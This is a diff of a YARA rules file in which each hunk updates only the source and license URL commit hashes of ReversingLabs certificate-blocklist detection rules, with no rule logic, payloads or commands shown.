@@ -9656,8 +9709,8 @@ rule REVERSINGLABS_Cert_Blocklist_07Cef66A71C35Bc3Aed6D100C6493863 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6122-L6138"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6122-L6138"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e741fc13fe4d03b145ed1d86e738b415a7260eae5b0908c6991c9ea9896f14cf"
 		score = 75
 		quality = 90
@@ -9681,8 +9734,8 @@ rule REVERSINGLABS_Cert_Blocklist_Be77Fe5C58B7A360Add6A3Fced4E8334 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6140-L6158"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6140-L6158"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cea0d217206562c0045843405802d3b2fad01bdb2a4cfb52057625b43f5f8eee"
 		score = 75
 		quality = 90
@@ -9706,8 +9759,8 @@ rule REVERSINGLABS_Cert_Blocklist_F097E59809Ae2E771B7B9Ae5Fc3408D7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6160-L6178"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6160-L6178"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9e23ff26d3e1ea181e48fc23383e3717804858bc517a31ec508fa0753730c78e"
 		score = 75
 		quality = 90
@@ -9731,8 +9784,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Cf1Ed2A6Ff4Bee621Efdf725Ea174B7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6180-L6196"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6180-L6196"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7030c122905105c72833cfcb41692bd9a67cf456e3309afce0b8f9e65c6aa5c1"
 		score = 75
 		quality = 90
@@ -9756,8 +9809,8 @@ rule REVERSINGLABS_Cert_Blocklist_1249Aa2Ada4967969B71Ce63Bf187C38 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6198-L6214"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6198-L6214"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f84568cfe6304af0307a34bfed6dd346a74e714005b5e6f22a354b14f853ec65"
 		score = 75
 		quality = 90
@@ -9781,8 +9834,8 @@ rule REVERSINGLABS_Cert_Blocklist_D59A05955A4A421500F9561Ce983Aac4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6216-L6234"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6216-L6234"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b7ed87a03f20872669369cc3cad4eae40ba597f06222194bd67262c094083ec1"
 		score = 75
 		quality = 90
@@ -9806,8 +9859,8 @@ rule REVERSINGLABS_Cert_Blocklist_539015999E304A5952985A994F9C3A53 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6236-L6252"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6236-L6252"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "feeb1710bd5b048c689a2e45575529624cd1622dcc73db8fe7de6c133fdc5698"
 		score = 75
 		quality = 90
@@ -9831,8 +9884,8 @@ rule REVERSINGLABS_Cert_Blocklist_0B1926A5E8Ae50A0Efa504F005F93869 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6254-L6270"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6254-L6270"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1cbdf39a873c83d2b55723215fb4930a3ce23b6cab2d71a6cd5f16b2721e30f9"
 		score = 75
 		quality = 90
@@ -9856,8 +9909,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A23B660E7322E54D7Bd0E5Acc890966 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6272-L6288"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6272-L6288"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "17996dd0ec81623dbd4eeea98f9bbe37c11c911ca840833ecb9301bb0a9ddb52"
 		score = 75
 		quality = 90
@@ -9881,8 +9934,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Cfa5050C819C4Acbb8Fa75979688Dff : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6290-L6308"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6290-L6308"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cffc234be78446191dd5f5990db9f17c7e28eeaa3e16f1eb8ad4ed1e58fdc25e"
 		score = 75
 		quality = 90
@@ -9906,8 +9959,8 @@ rule REVERSINGLABS_Cert_Blocklist_044E05Bb1A01A1Cbb50Cfb6Cd24E5D6B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6310-L6326"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6310-L6326"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "40c80d3b6bedb0b3454e14501745a6e82b6ea9ac202748867a2e937fb79c6f6c"
 		score = 75
 		quality = 90
@@ -9931,8 +9984,8 @@ rule REVERSINGLABS_Cert_Blocklist_B7F19B13De9Bee8A52Ff365Ced6F67Fa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6328-L6346"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6328-L6346"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a8d2a92b44cdd7b123907a6a77ba0fc9fde4961f9ac846b36f1e87730a1efae6"
 		score = 75
 		quality = 90
@@ -9956,8 +10009,8 @@ rule REVERSINGLABS_Cert_Blocklist_B61B8E71514059Adc604Da05C283E514 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6348-L6366"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6348-L6366"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1255cef74082c9cad41ac8e7d62e740f69e6ba44171bb45655a68ee5db204e57"
 		score = 75
 		quality = 90
@@ -9981,8 +10034,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ece6Cbf67Dc41635A5E5D075F286Af23 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6368-L6386"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6368-L6386"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f560e6f4a65eaac8db1d8accb0748de17048e66ccf989468e6350a3ec1d70dc8"
 		score = 75
 		quality = 90
@@ -10006,8 +10059,8 @@ rule REVERSINGLABS_Cert_Blocklist_014A98D697B44F43Ded21F18Eb6Ad0Ba : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6388-L6404"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6388-L6404"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9f1cc61b944974696113912bc1d1a0b45b9911fa4d6de382a48c0d22d2d20953"
 		score = 75
 		quality = 90
@@ -10031,8 +10084,8 @@ rule REVERSINGLABS_Cert_Blocklist_063A7D09107Eddd8Aa1F733634C6591B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6406-L6422"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6406-L6422"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "19f11e1d9ce95eb4bc75387a0118c230388a13cd07b02e00ea1d65cdcc0b2bd7"
 		score = 75
 		quality = 90
@@ -10056,8 +10109,8 @@ rule REVERSINGLABS_Cert_Blocklist_1E74Cfe7De8C5F57840A61034414Ca9F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6424-L6442"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6424-L6442"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d82220d908283f1707ec15882503b02cb8dc80095279a9e7d6cbdd113c25d8ae"
 		score = 75
 		quality = 90
@@ -10081,8 +10134,8 @@ rule REVERSINGLABS_Cert_Blocklist_75Cf729F8A740Bbdef183A1C4D86A02F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6444-L6460"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6444-L6460"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "691fadaa653ecd29e60f2db39b7c5154d7c85f388f72eccd0a4b5fe42eaee0dd"
 		score = 75
 		quality = 90
@@ -10106,8 +10159,8 @@ rule REVERSINGLABS_Cert_Blocklist_2F64677254D3844Efdac2922123D05D1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6462-L6478"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6462-L6478"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f9f1f629e03563ece0fe5186b199e2f030dce7f58fb259de1aeb7387c76fa902"
 		score = 75
 		quality = 90
@@ -10131,8 +10184,8 @@ rule REVERSINGLABS_Cert_Blocklist_32Fbf8Cfa43Dca3F85Efabe96Dfefa49 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6480-L6496"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6480-L6496"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "73d80e6a0dc2316524a55a9627792b9b4488d238ef529f1767de182956b0865e"
 		score = 75
 		quality = 90
@@ -10156,8 +10209,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ef9D0Cf071D463Cd63D13083046A7B8D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6498-L6516"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6498-L6516"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2923979811504f78a79a2480600285a2697845e51870a44ed231a81e79807121"
 		score = 75
 		quality = 90
@@ -10181,8 +10234,8 @@ rule REVERSINGLABS_Cert_Blocklist_115Cf1353A0E33E19099A4867A4C750A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6518-L6536"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6518-L6536"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2a3353c655531b113dc019a86288310881e3bbcb6c03670a805f22b185e09e6c"
 		score = 75
 		quality = 90
@@ -10206,8 +10259,8 @@ rule REVERSINGLABS_Cert_Blocklist_5Cf3778Bb11115A884E192A7Cb807599 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6538-L6556"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6538-L6556"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4242ef4a30bb09463ec5a6df9367915788a2aa782df6c463bcf966d2aad63c1d"
 		score = 75
 		quality = 90
@@ -10231,8 +10284,8 @@ rule REVERSINGLABS_Cert_Blocklist_82Cb93593B658100Cdd7A00C874287F2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6558-L6576"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6558-L6576"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c77881e0365c9fc398097d0b6e077330a5f0fcbb53279bfde96b3c01df914c55"
 		score = 75
 		quality = 90
@@ -10256,8 +10309,8 @@ rule REVERSINGLABS_Cert_Blocklist_9A8Bcfd05F86B15D0C99F50Cf414Bd00 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6578-L6596"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6578-L6596"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "803d70dddeff51b753b577ea196b12570847c6875ae676a2d12cf1ca9323be34"
 		score = 75
 		quality = 90
@@ -10281,8 +10334,8 @@ rule REVERSINGLABS_Cert_Blocklist_95E5793F2Abe0B4Ec9Be54Fd24F76Ae5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6598-L6616"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6598-L6616"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bd198665ae952e11c91adc329908e3cd55a55365875200cd81d2f71fd092f1fe"
 		score = 75
 		quality = 90
@@ -10306,8 +10359,8 @@ rule REVERSINGLABS_Cert_Blocklist_133565779808C3B79D8E3F70A9C3Ffac : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6618-L6634"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6618-L6634"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b9fb2e3cc150b0278e67c673f7c01174c30b2cc4458c9c5e573661071795b793"
 		score = 75
 		quality = 90
@@ -10331,8 +10384,8 @@ rule REVERSINGLABS_Cert_Blocklist_7E0Ccda0Ef37Acef6C2Ebe4538627E5C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6636-L6654"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6636-L6654"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f13f9b70a2a3187522e4fff45a8a425863ad6242f82592aa9319c8d5fddeeefa"
 		score = 75
 		quality = 90
@@ -10356,8 +10409,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bad35Fd70025D46C56B89E32B1A3954C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6656-L6674"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6656-L6674"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1020250fc5030e50bc1e7d0f0c5a77e462a53f47bfcc4383c682b34fed567492"
 		score = 75
 		quality = 90
@@ -10381,8 +10434,8 @@ rule REVERSINGLABS_Cert_Blocklist_7B91468122273Aa32B7Cfc80C331Ea13 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6676-L6692"
